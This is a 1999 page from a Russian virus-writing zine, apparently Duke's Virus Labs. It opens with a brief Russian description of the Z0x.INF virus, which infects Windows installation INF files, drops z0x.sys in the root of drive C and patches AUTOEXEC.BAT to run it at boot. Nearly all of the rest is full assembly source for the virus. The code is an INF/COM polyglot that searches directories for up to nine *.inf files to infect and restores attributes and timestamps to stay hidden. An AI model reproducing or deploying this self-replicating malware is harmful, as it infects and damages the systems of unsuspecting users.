- [Duke's Virus Labs #9] - [Page 30] - Z0x.INF (c) by ULTRAS Этот вирус заражает инсталляционные INF-файлы Windows. При инсталляции программного обеспечения стандартным способом Windows ищет INF-файл, обрабатывает его и выполняет скрипт-инструкции. Вирусный скрипт при активизации создает в корневом каталоге диска С файл с именем z0x.sys, копирует в него файл-носитель (зараженный INF-файл) и дописывает в конец файла AUTOEXEC.BAT несколько команд DOS. Эти команды при загрузке Windows переименовуют файл z0x.sys в z0x.com и запускают его. Файл B.COM выполняется как обыкновенный COM-файл. ULTRAS (c)1999 ===== Cut ===== .model tiny .code org 100h start: db ';', 0 ; infection marker jmp v_start ; jmp virus start idz db 'U', 0 ; infection marker db 13,10 db 13,10 db '[version]',13,10 db 'signature="$CHICAGO$"',13,10 ;signature win95/98 db 'SetupClass=BASE',13,10 db 13,10 db '[DefaultInstall]',13,10 db 'CopyFiles = Ultra.File',13,10 ; копирование файлов в разделе Ultra.file db 'UpdateAutoBat = Patch.It',13,10 ; запись в autoexec.bat в разделе Patch.it db 13,10 db '[Patch.it]',13,10 db 'CmdDelete = "@ctty", "null"',13,10 db 'CmdDelete = "ren", "z0x.sys z0x.com"',13,10 db 'CmdDelete = "@", "z0x.com"',13,10 db 'CmdDelete = "ctty", "con"',13,10 db 13,10 db 'CmdAdd = "@ctty", "null"',13,10 db 'CmdAdd = "ren", "z0x.sys z0x.com"',13,10 db 'CmdAdd = "@", "z0x.com"',13,10 db 'CmdAdd = "ctty", "con"',13,10 db 13,10 db '[DestinationDirs]',13,10 db 'DefaultDestDir = 30',13,10 ; корневой каталог загрузочного устроиства db 13,10 db '[SourceDisksNames]',13,10 db '1="ULTRAS","",1',13,10 db 13,10 db '[Ultra.File]',13,10 db 'z0x.sys, ultras.inf',13,10 ; копируем из ultras.inf в z0x.sys db 13,10 db ";" v_start: mov max_inf,0 get_dir: mov ah,47h lea si,old_dir xor dl,dl int 21h find_: lea dx,filemask call find_file return: cmp max_inf,9 jae quit mov ah,3bh lea dx,dot_dot int 21h jnc find_ quit: mov ah,3bh lea dx,old_dir int 21h int 20h find_file: mov ah,4eh mov cx,7 find_it: int 21h jc return mov dx,9eh get_attributes: mov ax,4300h int 21h mov file_at,cx set_attributes: mov ax,4301h xor cx,cx int 21h open_file: mov ax,3d02h int 21h xchg bx,ax get_time_date: mov ax,5700h int 21h push cx push dx check: mov ah,3fh lea dx,buff mov cx,4 int 21h cmp byte ptr [buff+5],'U' je close_file mov ax,4200h xor cx,cx xor dx,dx int 21h write_virus: mov ah,40h mov cx,_end-start lea dx,start int 21h inc max_inf restore_date_time: mov ax,5701h pop dx pop cx int 21h close_file: mov ah,3eh int 21h mov cx,file_at mov dx,9eh mov ax,4301h int 21h cmp max_inf,9 jne find_next jmp quit find_next: mov ah,4fh jmp find_it filemask db '*.inf',0 dot_dot db '..',0 virus_name db 'Z0x by [U]',0 virz equ _end-offset start _end: max_inf db ? file_at dw ? buff db 6 dup(?) old_dir db 64 dup(?) end start ===== Cut =====